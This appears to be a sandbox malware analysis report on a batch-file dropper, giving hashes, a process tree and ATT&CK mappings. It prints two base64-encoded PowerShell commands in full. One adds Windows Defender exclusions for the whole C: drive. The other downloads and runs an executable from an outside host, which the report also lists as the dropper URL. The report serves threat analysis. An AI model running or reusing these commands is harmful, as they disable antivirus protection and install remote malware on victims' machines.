a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/09/2026, 07:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat
Size 1KB
Sample260909-japjmstdna
SHA256 a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5
MD5 f39c82332cc7d8510a41e9913841e8c0
SHA1 23d68f5d310e3455c3e710f77b1cad1bf9600de6
SHA512 a01aeaa91c2c44772416dc4872e9c8dc15d4c5878cf6e3c1f68b8415b532272b5cb79bf79f2e21d6aac55e4bbdc982db1f78b1ef1b166cced614a15593749c63
TLSH
T10741A612024E870442F29B3346C05B43D22F534B145E59DA33FCD2947F7A59BEBF628A
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://tempshare.su/raw_files/31KwJH94Fi7W

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5380	powershell.exe
37	5380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6004	powershell.exe
5380	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4624	cmd.exe
4496	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6004	powershell.exe
6004	powershell.exe
5380	powershell.exe
5380	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6004	powershell.exe
Token: SeDebugPrivilege	5380	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 4496	4624	cmd.exe	85
PID 4496 wrote to memory of 3580	4496	cmd.exe	87
PID 3580 wrote to memory of 5588	3580	net.exe	88
PID 4496 wrote to memory of 6004	4496	cmd.exe	89
PID 4496 wrote to memory of 5380	4496	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat" MINIMIZED
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIg==')); Invoke-Expression $de"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly90ZW1wc2hhcmUuc3UvcmF3X2ZpbGVzLzMxS3dKSDk0Rmk3VycsICRleGVGaWxlKTsgU3RhcnQtUHJvY2VzcyAkZXhlRmlsZQ==')); Invoke-Expression $de"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d5159b12064e2220c23d3f0c31dcab1c91bc28856ade3582702f64117d4a7c6c
MD5 eb635c9838d0f2df1f2f66befdf5a6ac
SHA1 2d5c7c01aea4afe4caa74008db3d14d1a5b33486
SHA512 dcbe8ea1304da70fbf5fc76c6020ca387f4956241b6a3ab6be3731cfa5a48b5fdb3828d32cb110c514efcfd31b82b1c13e6d08465e289b7332e6163a18e7085f
TLSH
T12021A837B3DCC921CC86123A009D9C1072B283C7819EDF9FAFC4D604A07F988CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nesxp3vq.sa1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nesxp3vq.sa1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5380-15-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

Download

memory/5380-14-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

Download

memory/5380-24-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

Download

memory/5380-25-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

Download

memory/6004-0-0x000002D32A370000-0x000002D32A380000-memory.dmp

Download

memory/6004-1-0x000002D312150000-0x000002D312172000-memory.dmp

Download

memory/6004-9-0x000002D32A370000-0x000002D32A380000-memory.dmp

Download

memory/6004-12-0x000002D32C3F0000-0x000002D32C60C000-memory.dmp

Download